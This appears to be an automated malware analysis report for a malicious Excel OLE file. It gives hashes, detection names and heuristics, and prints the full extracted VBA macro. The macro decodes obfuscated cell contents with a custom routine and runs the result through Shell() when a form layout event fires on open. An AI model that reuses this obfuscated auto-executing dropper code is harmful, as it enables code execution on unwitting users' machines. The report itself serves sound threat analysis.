Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0b83c2277c3e146c…

MALICIOUS

Office (OLE)

50.0 KB Created: 2019-11-26 12:37:24 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 70d0a10c607dfbf30d74254c1dcfa614 SHA-1: 639bd047361b4d22213b54ebf2b656a952952bd4 SHA-256: 0b83c2277c3e146cbceb8e9096c6b4347d973aa25f128ae9675c29e4da46a5c2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristic 'OLE_VBA_SHELL' indicates the presence of a Shell() call within the VBA macros, which is a strong indicator of malicious intent. The 'Xls.Malware.Agent-7411155-0' ClamAV detection further supports this. The VBA script appears to construct a string, potentially a command or URL, using obfuscated logic and then executes it via the Shell() function. This suggests the macro is designed to download and execute a secondary payload.

Heuristics 3

  • ClamAV: Xls.Malware.Agent-7411155-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Agent-7411155-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2284 bytes
SHA-256: 1f909048f7856c29b26d56ee5d5aa6807c4b7a667ae621b060f853d81400aa25
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function subsub()
x = functionales: subsub = Cells(x, x)
End Function

Function functionales()
functionales = Int((11 - 10 + 1) * Rnd + 10)
End Function
Function benaflu()
benaflu = ActiveWorkbook.Name
End Function




Function aqua()
For i = 14 To 19
If i = 17 Then bless = bless + subsub
bless = bless + Peanch(Cells(i, 4))
Next i
If (benaflu Like "*d*") Then Shell bless, xlDataBarColor: frontdesk
End Function



Function Peanch(ByVal Klensy As String) As String
nord = 1: west = nord + nord: east = west + nord
Dim Fruits As Integer

Dim Zclear As Integer
Dim Mnun As Integer
Dim Obi() As Integer
Dim stampus() As Long
Dim An As Integer

    An = IIf(Right(Klensy, nord) Mod 2 = 0, east + west, west * west)
    Klensy = Left(Klensy, Len(Klensy) - IIf(Right(Klensy, nord) Mod 2 = 0, nord, nord))
    Fruits = Len(Klensy) / An - nord
    ReDim Obi(Fruits)
    ReDim stampus(Fruits)

    Zclear = 0
    Mnun = 0

    For Mnun = 0 To Fruits

        Obi(Mnun) = Mnun - (Fruits + nord)
    Next Mnun


    For Zclear = 0 To Fruits
        For Mnun = 0 To Fruits
            If CInt(Mid(Klensy, Mnun * An + nord, An - east)) = Zclear Then
                stampus(Zclear) = (Mid(Klensy, (Mnun + nord) * An - west, east) + Obi(Zclear))
                Exit For
            End If
        Next Mnun
    Next Zclear

    Peanch = ""
    For Zclear = 0 To Fruits
        Peanch = Peanch & Chr(stampus(Zclear))
    Next Zclear

End Function
Sub frontdesk()
ActiveWindow.Close savechanges:=False
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Formss, 7, 0, MSForms, Frame"
Private Sub Formss_Layout()
ThisWorkbook.aqua
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.